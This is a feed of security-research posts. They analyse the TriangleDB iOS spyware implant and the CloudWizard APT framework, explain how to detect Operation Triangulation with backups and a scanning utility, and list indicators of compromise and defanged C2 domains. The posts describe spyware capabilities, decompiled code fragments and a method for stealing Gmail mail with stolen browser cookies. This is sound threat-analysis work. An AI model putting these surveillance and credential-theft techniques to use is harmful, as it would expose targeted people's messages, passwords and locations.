Igor Kuznetsov – Securelist https://securelist.com Wed, 21 Jun 2023 14:58:17 +0000 en-US hourly 1 https://wordpress.org/?v=6.2.2 https://securelist.com/wp-content/themes/securelist2020/assets/images/content/site-icon.png Igor Kuznetsov – Securelist https://securelist.com 32 32 Dissecting TriangleDB, a Triangulation spyware implant https://securelist.com/triangledb-triangulation-implant/110050/ https://securelist.com/triangledb-triangulation-implant/110050/#respond Wed, 21 Jun 2023 10:00:57 +0000 https://kasperskycontenthub.com/securelist/?p=110050

Over the years, there have been multiple cases when iOS devices were infected with targeted spyware such as Pegasus, Predator, Reign and others. Often, the process of infecting a device involves launching a chain of different exploits, e.g. for escaping the iMessage sandbox while processing a malicious attachment, and for getting root privileges through a vulnerability in the kernel. Due to this granularity, discovering one exploit in the chain often does not result in retrieving the rest of the chain and obtaining the final spyware payload. For example, in 2021, analysis of iTunes backups helped to discover an attachment containing the FORCEDENTRY exploit. However, during post-exploitation, the malicious code downloaded a payload from a remote server that was not accessible at the time of analysis. Consequently, the analysts lost “the ability to follow the exploit.”

In researching Operation Triangulation, we set ourselves the goal to retrieve as many parts of the exploitation chain as possible. It took about half a year to accomplish that goal, and, after the collection of the chain had been completed, we started an in-depth analysis of the discovered stages. As of now, we have finished analyzing the spyware implant and are ready to share the details.

The Operation Triangulation infection chain

The implant, which we dubbed TriangleDB, is deployed after the attackers obtain root privileges on the target iOS device by exploiting a kernel vulnerability. It is deployed in memory, meaning that all traces of the implant are lost when the device gets rebooted. Therefore, if the victim reboots their device, the attackers have to reinfect it by sending an iMessage with a malicious attachment, thus launching the whole exploitation chain again. In case no reboot occurs, the implant uninstalls itself after 30 days, unless this period is extended by the attackers.

Meet TriangleDB

The TriangleDB implant is coded using Objective-C, a programming language that preserves names of members and methods assigned by the developer. In the implant’s binary, method names are not obfuscated; however, names of class members are uninformative acronyms, which makes it difficult to guess their meaning:

Class method examples

Class member examples

-[CRConfig populateWithFieldsMacOSOnly]

-[CRConfig populateWithSysInfo]

-[CRConfig extendFor:]

-[CRConfig getCInfoForDump]

+[CRConfig sharedInstance]

+[CRConfig unmungeHexString:]

-[CRConfig init]

-[CRConfig getBuildArchitecture]

-[CRConfig cLS]

-[CRConfig setVersion]

-[CRConfig swapLpServerType]

-[CRConfig setLpServerType:]

NSString *pubKI;

NSData *pubK;

signed __int64 iDa;

signed __int64 uD;

NSString *deN;

NSSTring *prT;

NSString *seN;

NSString *uDI;

NSString *iME;

NSString *meI;

NSString *osV;

CRPwrInfo *pwI;

In some cases, it is possible to guess what the acronyms mean. For example, osV is the iOS version, and iME contains the device’s IMEI.

The strings in the implant are HEX-encoded and encrypted with rolling XOR:

id +[CRConfig unmungeHexString:](id a1, SEL a2, id stringToDecrypt) {
  // code omitted
  while (1) {
	hexByte[0] = stringBytes[i];
	hexByte[1] = stringBytes[i + 1];
	encryptedByte = strtoul(hexByte, &__endptr, 16);
	if (__endptr == hexByte) 
          break;
	i += 2LL;
	if (j)
  	    decryptedString[j] = encryptedByte ^ previousByte;
	else
  	    decryptedString[0] = encryptedByte;
	++j;
	previousByte = encryptedByte;
	if (i >= stringLength) 
          break;
  }
  decryptedString[j] = 0;
  // code omitted
}

The rolling XOR algorithm implemented in the implant for string decryption

C2 communications

Once the implant launches, it starts communicating with the C2 server, using the Protobuf library for exchanging data. The configuration of the implant contains two servers: the primary and the fallback (contained in the lS and lSf configuration fields). Normally, the implant uses the primary server, and, in case of an error, it switches to the fallback server by invoking the -[CRConfig swapLpServerType:] method.

Additionally, the sent and received messages are encrypted with symmetric (3DES) and asymmetric (RSA) cryptography. All messages are exchanged via the HTTPS protocol in POST requests, with the cookie having the key g and a value that is a digit string from the pubKI configuration parameter.

The implant periodically sends heartbeat beacons that contain system information, including the implant version, device identifiers (IMEI, MEID, serial number, etc.) and the configuration of the update daemon (whether automatic downloads and installations of updates are enabled).

Heartbeat beacon snippet, implant v1.7.0.5 running on iOS 15.3.1

Heartbeat beacon snippet, implant v1.7.0.5 running on iOS 15.3.1

TriangleDB commands

The C2 server responds to heartbeat messages with commands. Commands are transferred as Protobuf messages that have type names starting with CRX. The meaning of these names is obscure: for example, the command listing directories is called CRXShowTables, and changing C2 server addresses is handled by the command CRXConfigureDBServer. In total, the implant we analyzed has 24 commands designed for:

  • Interacting with the filesystem (creation, modification, exfiltration and removal of files);
  • Interacting with processes (listing and terminating them);
  • Dumping the victim’s keychain items, which can be useful for harvesting victim credentials;
  • Monitoring the victim’s geolocation;
  • Running additional modules, which are Mach-O executables loaded by the implant. These executables are reflectively loaded, with their binaries stored only in memory.

One of the interesting commands we discovered is called CRXPollRecords. It monitors changes in folders, looking for modified files that have names matching specified regular expressions. Change monitoring is handled by obtaining a Unix file descriptor of the directory and assigning a vnode event handler to it. Whenever the implant gets notified of a change, the event handler searches for modified files that match the regex provided by the attacker. Such files are then scheduled for uploading to the C2 server.

The parameters of this command are as follows:

Parameter name Parameter description
p Directory path
m Filename regex
sDC Specifies whether the command should exfiltrate files that were modified before monitoring started.
eWo Specifies whether file contents should be exfiltrated only via Wi-Fi.

Below, we describe the implant’s commands, specifying the developer-assigned command names along with their numerical identifiers when possible.

Command ID Developer-assigned name Description
0xFEED CRXBlank No operation
0xF001 N/A Uninstalls the implant by terminating its process.
0xF301 CRXPause Makes the implant sleep for a specified number of seconds.
0xFE01 N/A Sleeps for a pseudorandom time defined by the configuration parameters caS and caP. The sleeping time is chosen between caP – caS and caP + caS.
0xFB01 CRXForward Changes the caP configuration value for the 0xFE01 command.
0xFB02 CRXFastForward Changes the caS configuration value for the 0xFE01 command.
0xF201 CRXConfigureDBServer Changes the addresses of the primary and fallback C2 servers.
0xF403 CRXUpdateConfigInfo Changes the implant’s configuration parameters. The arguments of this command contain the identifier of the parameter to be changed and its new value. Note that the parameter identifiers are number strings, such as “nineteen” or “twentyone”.
0xF101 CRXExtendTimeout Extends the implant lifetime by a specified number of seconds (the default implant lifetime is 30 days).
0xF601 CRXQueryShowTables Obtains a listing of a specified directory with the fts API.
0xF801 CRXFetchRecordInfo Retrieves metadata (attributes, permissions, size, creation, modification and access timestamps) of a given file.
0xF501 CRXFetchRecord Retrieves contents of a specified file.
0xFC10 CRXPollRecords Starts monitoring a directory for files whose names match a specified regex.
0xFC11 CRXStopPollingRecords Stops execution of the CRXPollRecords command.
0xFC01 CRXFetchMatchingRecords Retrieves files that match a specified regex.
0xF901 CRXUpdateRecord Depending on the command’s iM argument, either writes data to a file or adds a new module to the implant.
0xFA02 CRXRunRecord Launches a module with a specified name by reflectively loading its Mach-O executable.
0xF902 CRXUpdateRunRecord Adds a new module to the implant and launches it.
0xFA01 CRXDeleteRecord Depending on the command’s arguments, either removes an implant module or deletes a file with a specified name.
0xF402 CRXGetSchemas Retrieves a list of running processes.
0xFB44 CRXPurgeRecord Kills a process with a specified PID, either with SIGKILL or SIGSTOP, depending on the command’s arguments.
0xFD01 N/A Retrieves information about installed iOS applications
0xFB03 CRXGetIndexesV2 Retrieves keychain entries of the infected device. It starts monitoring the screen lock state, and, when the device is unlocked, dumps keychain items from the genp (generic passwords), inet (Internet passwords), keys and cert tables (certificates, keys and digital identity) from the /private/var/Keychains/keychain-2.db database. Note here that the implant’s code can work with different keychain versions, starting from the ones used in iOS 4.
0xF401 N/A Retrieves the victim’s location information: coordinates, altitude, bearing (the direction in which the device is moving) and speed. By default, this command works only if the device screen is off. However, the implant operator can override this restriction with a configuration flag.

Odd findings

While researching the TriangleDB implant, we found a lot of curious details:

  • The developers refer to string decryption as “unmunging” (as the method performing string decryption is named +[CRConfig unmungeHexString:] );
  • Throughout the code, we observed that different entities were given names from database terminology, which is the reason why we dubbed the implant TriangleDB:
    Entity Developer-used terminology for the entity
    Directory Table
    File Record
    Implant module
    Process Schema
    Keychain entry Index, row
    C2 server DB Server
    Geolocation information DB Status
    Heartbeat Diagnostic data
    Process of exchanging data with C2 server Transaction
    Request to C2 server Query
    iOS application Operation
  • While analyzing TriangleDB, we found that the class CRConfig (used to store the implant’s configuration) has a method named populateWithFieldsMacOSOnly. This method is not called anywhere in the iOS implant; however, its existence means that macOS devices can also be targeted with a similar implant;
  • The implant requests multiple entitlements (permissions) from the operating system. Some of them are not used in the code, such as access to camera, microphone and address book, or interaction with devices via Bluetooth. Thus, functionalities granted by these entitlements may be implemented in modules.

To be continued

That’s it for TriangleDB, a sophisticated implant for iOS containing multiple oddities. We are continuing to analyze the campaign, and will keep you updated with all details about this sophisticated attack.

TriangleDB indicators of compromise

MD5      063db86f015fe99fdd821b251f14446d
SHA-1    1a321b77be6a523ddde4661a5725043aba0f037f
SHA-256  fd9e97cfb55f9cfb5d3e1388f712edd952d902f23a583826ebe55e9e322f730f

]]>
https://securelist.com/triangledb-triangulation-implant/110050/feed/ 0 full large medium thumbnail
In search of the Triangulation: triangle_check utility https://securelist.com/find-the-triangulation-utility/109867/ https://securelist.com/find-the-triangulation-utility/109867/#comments Fri, 02 Jun 2023 12:16:15 +0000 https://kasperskycontenthub.com/securelist/?p=109867

In our initial blogpost about “Operation Triangulation”, we published a comprehensive guide on how to manually check iOS device backups for possible indicators of compromise using MVT. This process takes time and requires manual search for several types of indicators. To automate this process, we developed a dedicated utility to scan the backups and run all the checks. For Windows and Linux, this tool can be downloaded as a binary build, and for MacOS it can be simply installed as a Python package.

How to back up your device

Windows

On Windows, the easiest way to do a backup is via iTunes:

  1. Connect your device to a computer that has iTunes installed. Unlock your device and, if needed, confirm that you trust your computer.

    Window asking to trust the computer

  2. Your device should now be displayed in iTunes. Right click on it and press “Back Up”.
  3. The created backup will be saved to the %appdata%\Apple Computer\MobileSync\Backup directory.

macOS

If your macOS version is lower than Catalina (10.15), you can create a backup using iTunes, using instructions for Windows. Starting from Catalina, backups can be created through Finder:

  • Connect your device to the computer and, if needed, confirm that you trust the computer.
  • Your device should now be displayed in Finder. Select it and then click “Create a backup“.
  • The created backup will be saved to the ~/Library/Application Support/MobileSync/Backup/ directory.

Linux

To create a backup on Linux, you will need to install the libimobiledevice library. In order to create backups of devices with the latest versions of iOS installed, you will need to compile this library from source code (you can find the build instructions in the Installation/Getting Started section).
After you install the library and connect your device to the computer, you can create a backup using the idevicebackup2 backup --full command.
During the backup process, you may need to enter your device passcode multiple times.

How to use our triangle_check utility

After you do a backup of your device using the instructions above, you will need to install and launch our triangle_check utility.

The triangle_check Python package

No matter what operating system you have, you can install the triangle_check Python package that we have published to the Python Package Index (PyPi). To do that, you need to have internet access as well as have the pip utility installed.
You can install the utility using two methods:

  • From PyPI (recommended):
    Run the python -m pip install triangle_check command.
  • Building from Github:
    Run the following commands:
    git clone https://github.com/KasperskyLab/triangle_check
    cd triangle_check
    python -m build
    python -m pip install dist/triangle_check-1.0-py3-none-any.whl

After installing, you can launch the utility with the following command:
python -m triangle_check path to the created backup.

Binary builds

If you have Windows or Linux, you can also use the binary builds of the triangle_check utility that we have published on GitHub. Follow the instructions below to use it:
Windows

  1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
  2. Launch the command prompt (cmd.exe) or PowerShell.
  3. Change your directory to the one with the unpacked archive (e.g. cd %userprofile%\Downloads\triangle_check_win).
  4. Launch triangle_check.exe, specifying the path to the backup as an argument (e.g. triangle_check.exe "%appdata%\Apple Computer\MobileSync\Backup\00008101-000824411441001E-20230530-143718" ).

Linux

  1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
  2. Launch the terminal.
  3. Change your directory to the one with the unpacked archive (e.g. cd ~/Downloads/triangle_check_linux).
  4. Allow the utility to be executed with the chmod +x triangle_check command.
  5. Launch the utility, specifying the path to the backup as an argument (e.g. ./triangle_check ~/Desktop/my_backup/00008101-000824411441001E-20230530-143718 ).

Interpreting the results

The utility outputs “DETECTED” when it locates specific indicators of compromise, and that would mean that the device was infected.
Also, it may print out “SUSPICION” that would mean that a combination of less specific indicators points to a likely infection. Finally, if the message displayed is “No traces of compromise were identified“, then the utility did not find any signs of ‘Operation Triangulation’ compromise.

]]>
https://securelist.com/find-the-triangulation-utility/109867/feed/ 14 full large medium thumbnail
Operation Triangulation: iOS devices targeted with previously unknown malware https://securelist.com/operation-triangulation/109842/ https://securelist.com/operation-triangulation/109842/#comments Thu, 01 Jun 2023 12:36:45 +0000 https://kasperskycontenthub.com/securelist/?p=109842

While monitoring the network traffic of our own corporate Wi-Fi network dedicated for mobile devices using the Kaspersky Unified Monitoring and Analysis Platform (KUMA), we noticed suspicious activity that originated from several iOS-based phones. Since it is impossible to inspect modern iOS devices from the inside, we created offline backups of the devices in question, inspected them using the Mobile Verification Toolkit’s mvt-ios and discovered traces of compromise.
We are calling this campaign “Operation Triangulation”, and all the related information we have on it will be collected on the Operation Triangulation page. If you have any additional details to share, please contact us: triangulation[at]kaspersky.com.

What we know so far

Mobile device backups contain a partial copy of the filesystem, including some of the user data and service databases. The timestamps of the files, folders and the database records allow to roughly reconstruct the events happening to the device. The mvt-ios utility produces a sorted timeline of events into a file called “timeline.csv”, similar to a super-timeline used by conventional digital forensic tools.
Using this timeline, we were able to identify specific artifacts that indicate the compromise. This allowed to move the research forward, and to reconstruct the general infection sequence:

  • The target iOS device receives a message via the iMessage service, with an attachment containing an exploit.
  • Without any user interaction, the message triggers a vulnerability that leads to code execution.
  • The code within the exploit downloads several subsequent stages from the C&C server, that include additional exploits for privilege escalation.
  • After successful exploitation, a final payload is downloaded from the C&C server, that is a fully-featured APT platform.
  • The initial message and the exploit in the attachment is deleted

The malicious toolset does not support persistence, most likely due to the limitations of the OS. The timelines of multiple devices indicate that they may be reinfected after rebooting. The oldest traces of infection that we discovered happened in 2019. As of the time of writing in June 2023, the attack is ongoing, and the most recent version of the devices successfully targeted is iOS 15.7.
The analysis of the final payload is not finished yet. The code is run with root privileges, implements a set of commands for collecting system and user information, and can run arbitrary code downloaded as plugin modules from the C&C server.

Forensic methodology

It is important to note, that, although the malware includes portions of code dedicated specifically to clear the traces of compromise, it is possible to reliably identify if the device was compromised. Furthermore, if a new device was set up by migrating user data from an older device, the iTunes backup of that device will contain the traces of compromise that happened to both devices, with correct timestamps.

Preparation

All potential target devices must be backed up, either using iTunes, or an open-source utility idevicebackup2 (from the package libimobiledevice). The latter is shipped as a pre-built package with the most popular Linux distributions, or can be built from the source code for MacOS/Linux.
To create a backup with idevicebackup2, run the following command:
idevicebackup2 backup --full $backup_directory

You may need to enter the security code of the device several times, and the process may take several hours, depending on the amount of user data stored in it.

Install MVT

Once the backup is ready, it has to be processed by the Mobile Verification Toolkit. If Python 3 is installed in the system, run the following command:
pip install mvt

A more comprehensive installation manual is available the MVT homepage.

Optional: decrypt the backup

If the owner of the device has set up encryption for the backup previously, the backup copy will be encrypted. In that case, the backup copy has to be decrypted before running the checks:
mvt-ios decrypt-backup -d $decrypted_backup_directory $backup_directory

Parse the backup using MVT

mvt-ios check-backup -o $mvt_output_directory $decrypted_backup_directory
This command will run all the checks by MVT, and the output directory will contain several JSON and CSV files. For the methodology described in this blogpost, you will need the file called timeline.csv.

Check timeline.csv for indicators

  1. The single most reliable indicator that we discovered is the presence of data usage lines mentioning the process named “BackupAgent”. This is a deprecated binary that should not appear in the timeline during regular usage of the device. However, it is important to note that there is also a binary named “BackupAgent2”, and that is not an indicator of compromise. In many cases, BackupAgent is preceded by the process “IMTransferAgent”, that downloads the attachment that happens to be an exploit, and this leads to modification of the timestamps of multiple directories in the “Library/SMS/Attachments”. The attachment is then deleted, leaving only modified directories, without actual files inside them:
    2022-09-13 10:04:11.890351Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 127) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 76281896.0, WWAN OUT: 100956502.0
    2022-09-13 10:04:54.000000Z Manifest Library/SMS/Attachments/65/05 - MediaDomain
    2022-09-13 10:05:14.744570Z Datausage BackupAgent (Bundle ID: , ID: 710) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 734459.0, WWAN OUT: 287912.0
  2. There are also less reliable indicators, that may be treated as IOCs if several of them happened within a timeframe of minutes:
    • Modification of one or several files: com.apple.ImageIO.plist, com.apple.locationd.StatusBarIconManager.plist, com.apple.imservice.ids.FaceTime.plist
    • Data usage information of the services com.apple.WebKit.WebContent, powerd/com.apple.datausage.diagnostics, lockdownd/com.apple.datausage.security

    Example:
    2021-10-30 16:35:24.923368Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 31933.0, WWAN OUT: 104150.0
    2021-10-30 16:35:24.928030Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945)
    2021-10-30 16:35:24.935920Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 47743.0, WWAN OUT: 6502.0
    2021-10-30 16:35:24.937976Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946)
    2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
    2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain

    Another example: modification of an SMS attachment directory (but no attachment filename), followed by data usage of com.apple.WebKit.WebContent, followed by modification of com.apple.locationd.StatusBarIconManager.plist. All the events happened within a 1-3 minute timeframe, indicating the result of a successful zero-click compromise via an iMessage attachment, followed by the traces of exploitation and malicious activity.
    2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98 - MediaDomain
    2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
    2022-09-11 19:53:10.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
    2022-09-11 19:54:51.698609Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 77234150.0, WIFI OUT: 747603971.0 - WWAN IN: 55385088.0, WWAN OUT: 425312575.0
    2022-09-11 19:54:51.702269Z Datausage com.apple.WebKit.WebContent (Bundle ID: , ID: 1125)
    2022-09-11 19:54:53.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
    2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
    2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad - MediaDomain
    2022-06-26 18:21:50.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
    2022-06-26 18:22:03.412817Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 19488889.0, WIFI OUT: 406382282.0 - WWAN IN: 66954930.0, WWAN OUT: 1521212526.0
    2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain
    2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
    2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc - MediaDomain
    2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
    2022-03-21 21:38:08.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
    2022-03-21 21:38:23.901243Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 551604.0, WIFI OUT: 6054253.0 - WWAN IN: 0.0, WWAN OUT: 0.0
    2022-03-21 21:38:24.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain

  3. An even less implicit indicator of compromise is inability to install iOS updates. We discovered malicious code that modifies one of the system settings file named com.apple.softwareupdateservicesd.plist. We observed update attempts to end with an error message “Software Update Failed. An error ocurred downloading iOS”.

Network activity during exploitation

On the network level, a successful exploitation attempt can be identified by a sequence of several HTTPS connection events. These can be discovered in netflow data enriched with DNS/TLS host information, or PCAP dumps:

  • Legitimate network interaction with the iMessage service, usually using the domain names *.ess.apple.com
  • Download of the iMessage attachment, using the domain names .icloud-content.com, content.icloud.com
  • Multiple connections to the C&C domains, usually 2 different domains (the list of known domains follows). Typical netflow data for the C&C sessions will show network sessions with significant amount of outgoing traffic.

Network exploitation sequence, Wireshark dump

The iMessage attachment is encrypted and downloaded over HTTPS, the only implicit indicator that can be used is the amount of downloaded data that is about 242 Kb.

Encrypted iMessage attachment, Wireshark dump

C&C domains

Using the forensic artifacts, it was possible to identify the set of domain name used by the exploits and further malicious stages. They can be used to check the DNS logs for historical information, and to identify the devices currently running the malware:
addatamarket[.]net
backuprabbit[.]com
businessvideonews[.]com
cloudsponcer[.]com
datamarketplace[.]net
mobilegamerstats[.]com
snoweeanalytics[.]com
tagclick-cdn[.]com
topographyupdates[.]com
unlimitedteacup[.]com
virtuallaughing[.]com
web-trackers[.]com
growthtransport[.]com
anstv[.]net
ans7tv[.]net

]]>
https://securelist.com/operation-triangulation/109842/feed/ 18 full large medium thumbnail
CloudWizard APT: the bad magic story goes on https://securelist.com/cloudwizard-apt/109722/ https://securelist.com/cloudwizard-apt/109722/#respond Fri, 19 May 2023 10:30:49 +0000 https://kasperskycontenthub.com/securelist/?p=109722

In March 2023, we uncovered a previously unknown APT campaign in the region of the Russo-Ukrainian conflict that involved the use of PowerMagic and CommonMagic implants. However, at the time it was not clear which threat actor was behind the attack. Since the release of our report about CommonMagic, we have been looking for additional clues that would allow us to learn more about this actor. As we expected, we have been able to gain a deeper insight into the “bad magic” story.

While looking for implants bearing similarities with PowerMagic and CommonMagic, we identified a cluster of even more sophisticated malicious activities originating from the same threat actor. What was most interesting about it is that its victims were located not only in the Donetsk, Lugansk and Crimea regions, but also in central and western Ukraine. Targets included individuals, as well as diplomatic and research organizations. The newly discovered campaign involved using a modular framework we dubbed CloudWizard. Its features include taking screenshots, microphone recording, keylogging and more.

Over the years, the infosec community has discovered multiple APTs operating in the Russo-Ukrainian conflict region – Gamaredon, CloudAtlas, BlackEnergy and many others. Some of these APTs have long been forgotten in the past – such as Prikormka (Operation Groundbait), discovered by ESET in 2016. While there have been no updates about Prikormka or Operation Groundbait for a few years now, we discovered multiple similarities between the malware used in that campaign, CommonMagic and CloudWizard. Upon further investigation, we found that CloudWizard has a rich and interesting history that we decided to dig into. Our findings we also shared on the cybersecurity conference Positive Hack Days. You can watch our presentation here.

Initial findings

Our investigation started with telemetry data coming from an active infection, with malware running as a suspicious Windows service named “syncobjsup”. This service was controlled by a DLL with an equally suspicious path “C:\ProgramData\Apparition Storage\syncobjsup.dll”. Upon execution, we found this DLL to decrypt data from the file mods.lrc that is located in the same directory as the DLL. The cipher used for decryption was RC5, with the key 88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38. However, decryption of the file with the standard RC5 implementation yielded only junk data. A closer look into the RC5 implementation in the sample revealed that it was faulty:

for (i = 0; i < 4; i += 2)
{
    A = buf[i];
    B = buf[i + 1];
    for (j = 12; j > 0; --j)
    {
        v2 = rotate_right(B - S[2 * i + 1], A);
        B = A ^ v2;
        A ^= v2 ^ rotate_right(A - S[2 * i], A ^ v2);
    }
}

The bug is in the inner loop: it uses the variable i instead of j.

A search for this incorrect implementation revealed a GitHub gist of the code that has been likely borrowed by the implant’s developers. In the comments to this gist, GitHub users highlight the error:

What is also interesting is that the key from the gist is the same as the one used in the syncobjsup.dll library.

The decrypted file looked to us like a virtual file system (VFS), containing multiple executables and their JSON-encoded configurations:

Each entry in this VFS contains magic bytes (‘CiCi’), a ROR6 hash of the entry name, as well as the entry size and contents.

Inside mods.lrc, we found:

  • Three DLLs (with export table names Main.dll, Crypton.dll and Internet.dll);
  • A JSON configuration of these DLLs.

The syncobjsup.dll DLL iterates over VFS entries, looking for an entry with the name “Main” (ROR6 hash: 0xAA23406F). This entry contains CloudWizard’s Main.dll orchestrator library, which is reflectively loaded and launched by invoking its SvcEntry export.

Digging into the orchestrator

Upon launching, the orchestrator spawns a suspended WmiPrvSE.exe process and injects itself into it. From the WmiPrvSE.exe process, it makes a backup of the VFS file, copying mods.lrc to mods.lrs. It then parses mods.lrs to obtain all the framework module DLLs and their configurations. As mentioned above, configurations are JSON files with dictionary objects:

{
    "Screenshot": {
        "type": "3",
        "intervalSec": "4",
        "numberPack": "24",
        "winTitle": [
            "SKYPE",
            "VIBER"
        ]
    },
    "Keylogger": {
        "bufSize": "100"
    },
    "Microphone": {
        "intervalSec": "500",
        "acousticStart": "1"
    }
}

The orchestrator itself contains a configuration with parameters such as:

  • Victim ID (e.g., 03072020DD);
  • Framework version (latest observed version is 5.0);
  • Interval between two consecutive heartbeats.

After launching modules, the orchestrator starts communicating with the attackers by sending heartbeat messages. Each heartbeat is a JSON file with victim information and a list of loaded modules:

{
      "name": "<victim_id>",
	"romoID": "2",
	"bitOS": "64",
	"version": "5.0",
	"serial": "<infection_timestamp>",
	"keyID": "<key_id>",
	"ip": "0.0.0.0",
	"state": [
		"Main","Crypton","Internet","Screenshot",
		"USB","Keylogger","Gmail"
	],
	"state2": [
    		{"Module": "Main","time_mode": "2","Version": "4.7"},
    		{"Module": "Crypton","time_mode": "2","Version": "1.0"},
    		{"Module": "Internet","time_mode": "2","Version": "0.07"},
    		{"Module": "Screenshot","time_mode": "2","Version": "0.01"},
    		{"Module": "USB","time_mode": "2","Version": "0.01"},
    		{"Module": "Keylogger","time_mode": "2","Version": "0.01"},
    		{"Module": "Gmail","time_mode": "2","Version": "0.06"}
	]
}

This JSON string is encrypted with the cryptography module (Crypton.dll from the VFS) and sent to the attackers with the internet communication module (Internet.dll).

In response to the heartbeats, the orchestrator receives commands allowing it to perform module management: install, start, stop, delete modules or change their configurations. Each command contains magic bytes (DE AD BE EF) and a JSON string (e.g., {"Delete": ["Keylogger", "Screenshot"]}), optionally followed by a module DLL file.

Encryption and communication

As we have mentioned above, two modules (Crypton.dll and Internet.dll) are bundled with every installation of the CloudWizard framework. The Crypton module performs encryption and decryption of all communications. It uses two encryption algorithms:

  • Heartbeat messages and commands are encrypted with AES (the key is specified in the JSON configuration VFS file)
  • Other data (e.g., module execution results) is encrypted with a combination of AES and RSA. First, the data is encrypted with a generated pseudorandom AES session key, and then the AES key is encrypted with RSA.
if ( buffers->results.lenstr && buffers->results.str ) {
	v10 = RSA_Encrypt(AES_KEY, 32, &v8, &v7, pubKey, pubKeySize);
	if (v10) {
  		free(v8);
  		return v10;
	}
	v10 = AES_Encrypt(buffers->results.str, 
                        buffers->results.lenstr, 
                        &v4, &v6, AES_KEY);
	if (v10)
  		goto LABEL_11;
}
if (buffers->state.lenstr && buffers->state.str) {
  	v10 = AES_Encrypt(buffers->state.str,  
                        buffers->state.lenstr, 
                        &v3, &v5, phpKey);
  	if (v10)
    		goto LABEL_11;
}
The internet connection module relays the encrypted data to the malware operators. It supports four different communication types:

  • Cloud storages: OneDrive, Dropbox, Google Drive
  • Web-based C2 server

The primary cloud storage is OneDrive, while Dropbox and Google Drive are used if OneDrive becomes inaccessible. The module’s configuration includes OAuth tokens required for cloud storage authentication.

As for the web server endpoint, it is used when the module can’t access any of the three cloud storages. To interact with it, it makes a GET request to the URL specified in its configuration, getting new commands in response. These commands likely include new cloud storage tokens.

While examining the strings of the network module, we found a string containing the directory name from the developer’s machine: D:\Projects\Work_2020\Soft_Version_5\Refactoring.

Module arsenal

Information gathering is performed through auxiliary DLL modules that have the following exported functions:

Export function Description
Start Starts the module
Stop Stops the module
Whoami Returns JSON-object with information about module
(e.g., {"Module":"Keylogger ","time_mode":"2","Version":"0.01"}).
The time_mode value indicates whether the module is persistent (1 – no, 2 – yes).
GetResult Returns results of module execution (e.g. collected screenshots, microphone recordings, etc.). Most modules return results in the form of ZIP archives (that are stored in memory)
GetSettings Returns module configuration

Modules can persist upon reboot (in this case they are saved in the mods.lrs VFS file) or executed in memory until the machine is shut down or the module is deleted by the operator.

In total, we found nine auxiliary modules performing different malicious activities such as file gathering, keylogging, taking screenshots, recording the microphone and stealing passwords.

The module that looked most interesting to us is the one that performs email exfiltration from Gmail accounts. In order to steal, it reads Gmail cookies from browser databases. Then, it uses the obtained cookies to access the Gmail web interface in legacy mode by making a GET request to  https://mail.google.com/mail/u/<account ID>/?ui=html&zy=h. When legacy mode is accessed for the first time, Gmail prompts the user to confirm whether they really wants to switch to legacy mode, sending the following webpage in response:

If the module receives such a prompt, it simulates a click on the “I’d like to use HTML Gmail” button by making a POST request to a URL from the prompt’s HTML code.

Having obtained access to the legacy web client, the module exfiltrates activity logs, the contact list and all the email messages.
What’s also interesting is that the code for this module was partially borrowed from the leaked Hacking Team source code.

Back to 2017

After obtaining the CloudWizard’s orchestrator and its modules, we were still missing one part of the infection chain: the framework installer. While searching through older telemetry data, we were able to identify multiple installers that were used from 2017 to 2020. The version of the implant installed at that time was 4.0 (as we wrote above, the most recent version we observed is 5.0).

The uncovered installer is built with NSIS. When launched, it drops three files:

  • C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe
  • C:\ProgramData\Microsoft\MF\Depending.GRL (in other versions of the installer, this file is also placed under C:\ProgramData\Microsoft\MF\etwdrv.dll)
  • C:\ProgramData\System\Vault\etwupd.dfg

Afterwards, it creates a service called “Windows Subsystem Service” that is configured to run the WinSubSvc.exe binary on every startup.

It is worth noting that the installer displays a message with the text “Well done!” after infection:

This may indicate that the installer we discovered is used to deploy CloudWizard via physical access to target machines, or that the installer attempts to mimic a Network Settings (as displayed in the window title) configurator.

The old (4.0) and new (5.0) CloudWizard versions have major differences, as outlined in the table below:

Version 4.0 Version 5.0
Network communication and cryptography modules are contained within the main module Network communication and cryptography modules are separate from each other
Framework source file compilation directory: D:\Projects\Work_2020\Soft_Version_4\Service Framework source file compilation directory:  D:\Projects\Work_2020\Soft_Version_5\Refactoring
